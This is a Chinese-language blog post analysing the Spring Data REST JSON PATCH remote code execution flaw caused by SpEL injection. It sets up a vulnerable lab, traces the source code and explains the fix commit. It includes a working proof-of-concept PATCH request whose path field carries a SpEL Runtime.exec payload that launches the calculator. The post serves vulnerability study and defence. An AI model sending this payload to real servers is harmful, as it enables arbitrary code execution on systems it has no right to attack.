pivotal发布的漏洞信息如下:
Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP resources can use specially crafted JSON data to run arbitrary Java code.
简而言之,就是 Spring Data REST
对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE。
Spring Data REST
可以参考 Guides ,但是本人在按照这个教程搭建出现了问题,所以建议大家看看这个引导,但是漏洞环境的搭建没有必要参考这个。 在 Guides 提供了最终的项目代码下载,可以直接从Github上面下载。
https://github.com/spring-guides/gs-accessing-data-rest.git
,使用其中的 complete
项目。
修改其中的 spring-boot-starter-parent
为存在漏洞的版本,本文中采用的是1.5.6的版本:
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.5.6.RELEASE</version> </parent>
通过 maven
更新完依赖之后,查看与漏洞有关的几个组件的版本:
使用IDEA运行整个项目,访问 localhost:8080
,如果没有报错出现以下的界面则说明搭建成功。
在进行漏洞复现之前,先介绍下PATCH相关的用法。
对于JSON Patch请求方法IETF制定了标准RFC6902。JSON Patch方法提交的数据必须包含一个path成员( path值中必须含有 /
),用于定位数据,同时还必须包含op成员,可选值如下:
在使用PATCH方法时,有两点需要注意(关于这两点,后面通过源码分析会进行说明):
application/json-patch+json
。 本漏洞的分析方法采用的是通过执行POC的方式来追踪数据流来分析漏洞。
通过POST方法添加一个用户
查看所有用户信息,系统中已经多存在了1个用户(people1)
通过 PATCH
方法更新people1的 lastName
信息。根据前面对 PATCH
方法的介绍,我们需要发送如下的payload:
这一步可以不进行操作,只是为了演示PATCH的用法
发送payload,发起攻击。
PATCH /people/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/json-patch+json Content-Length: 169 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "vulhub" }]
顺利弹出计算器。
由于整个程序对于Payload的处理堆栈较长,本文直接从 Spring Data REST
对JSON的数据处理开始进行分析。入口文件是位于 org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
中。
public <T> T apply(IncomingRequest request, T target) throws Exception { Assert.notNull(request, "Request must not be null!"); Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!"); Assert.notNull(target, "Target must not be null!"); if (request.isJsonPatchRequest()) { return applyPatch(request.getBody(), target); } else { return applyMergePatch(request.getBody(), target); } }
通过 request.isJsonPatchRequest
确定是PATCH请求之后,调用 applyPatch(request.getBody(), target);
。其中 isJsonPatchRequest
的判断方法是:
public boolean isJsonPatchRequest() { // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json"); return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType); }
所以这就要求我们使用 PATCH
方法时, contentType
要为 application/json-patch+json
。(对应于PATCH方法的第一个注意点)
继续跟踪进入到 applyPatch()
方法中:
<T> T applyPatch(InputStream source, T target) throws Exception { return getPatchOperations(source).apply(target, (Class<T>) target.getClass()); }
继续跟踪进入到 getPatchOperations()
中:
private Patch getPatchOperations(InputStream source) { try { return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source)); } catch (Exception o_O) { throw new HttpMessageNotReadableException( String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O); } }
利用 mapper
初始化 JsonPatchPatchConverter()
对象之后调用 convert()
方法。跟踪 org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()
方法:
convert()
方法返回 Patch()
对象,其中的ops包含了我们的payload。进入到 org.springframework.data.rest.webmvc.json.patch.Patch
中,
public Patch(List<PatchOperation> operations) { this.operations = operations; }
通过上一步地分析, ops
是一个 List<PatchOperation>
对象,每一个 PatchOperation
对象中包含了 op
、 path
、 value
三个内容。进入到 PatchOperation
分析其赋值情况。
public PatchOperation(String op, String path, Object value) { this.op = op; this.path = path; this.value = value; this.spelExpression = pathToExpression(path); }
进入到 pathToExpression()
中
public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); }
可以看到这是一个 SPEL
表达式解析操作,但是在解析之前调用了 pathToSpEL()
。进入到 pathToSpEL()
中。
private static String pathToSpEL(String path) { return pathNodesToSpEL(path.split("///")); // 使用/分割路径 } private static String pathNodesToSpEL(String[] pathNodes) { StringBuilder spelBuilder = new StringBuilder(); for (int i = 0; i < pathNodes.length; i++) { String pathNode = pathNodes[i]; if (pathNode.length() == 0) { continue; } if (APPEND_CHARACTERS.contains(pathNode)) { if (spelBuilder.length() > 0) { spelBuilder.append("."); // 使用.重新组合路径 } spelBuilder.append("$[true]"); continue; } try { int index = Integer.parseInt(pathNode); spelBuilder.append('[').append(index).append(']'); } catch (NumberFormatException e) { if (spelBuilder.length() > 0) { spelBuilder.append('.'); } spelBuilder.append(pathNode); } } String spel = spelBuilder.toString(); if (spel.length() == 0) { spel = "#this"; } return spel; }
重新回到 org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()
中,
<T> T applyPatch(InputStream source, T target) throws Exception { return getPatchOperations(source).apply(target, (Class<T>) target.getClass()); }
目前已经执行 getPatchOperations(source)
得到的是一个 Patch
对象的实例,之后执行 apply()
方法。进入到 org.springframework.data.rest.webmvc.json.patch.Patch:apply()
,
public <T> T apply(T in, Class<T> type) throws PatchException { for (PatchOperation operation : operations) { operation.perform(in, type); } return in; }
实际上 PatchOperation
是一个抽象类,实际上应该调用其实现类的 perform()
方法。通过动态调试分析,此时的 operation
实际是 ReplaceOperation
类的实例(这也和我们传入的 replace
操作是对应的)。进入到 ReplaceOperation:perform()
中,
<T> void perform(Object target, Class<T> type) { setValueOnTarget(target, evaluateValueFromTarget(target, type)); } protected void setValueOnTarget(Object target, Object value) { spelExpression.setValue(target, value); }
在 setValueOnTarget()
中会调用 spelExpression
对spel表示式进行解析,分析此时的参数情况:
最后成功地弹出计算器。
根据官方发布的漏洞修复 commit
可以看到主要是在 PatchOperation.java:evaluateValueFromTarget()
中增减了对路径的验证方法 verifyPath()
,其中的关键代码是:
String pathSource = Arrays.stream(path.split("/"))// .filter(it -> !it.matches("//d")) // no digits .filter(it -> !it.equals("-")) // no "last element"s .filter(it -> !it.isEmpty()) // .collect(Collectors.joining("."));
为什么实现了 evaluateValueFromTarget()
这个方法就能够阻止RCE的攻击呢?之前在漏洞分析中已经说明了,最终执行的是 ReplaceOperation:perform()
,
<T> void perform(Object target, Class<T> type) { setValueOnTarget(target, evaluateValueFromTarget(target, type)); }
在执行 setValueOnTarget()
之前先会调用 evaluateValueFromTarget()
,而这个函数就是父类的函数即 PatchOperationevaluateValueFromTarget()
,所以通过更改 PatchOperation:evaluateValueFromTarget()
方法,对PATH路径进行验证,确保PATH的安全性,就能够防止通过 SPEL
表示执行RCE。
最终还是因为SPEL表大会造成的RCE。最终吐槽一下,Java相关的环境搭建起来真的是麻烦(这也导致分析Java漏洞时需要专门用一章来说明漏洞环境的搭建),函数的追踪也很绕。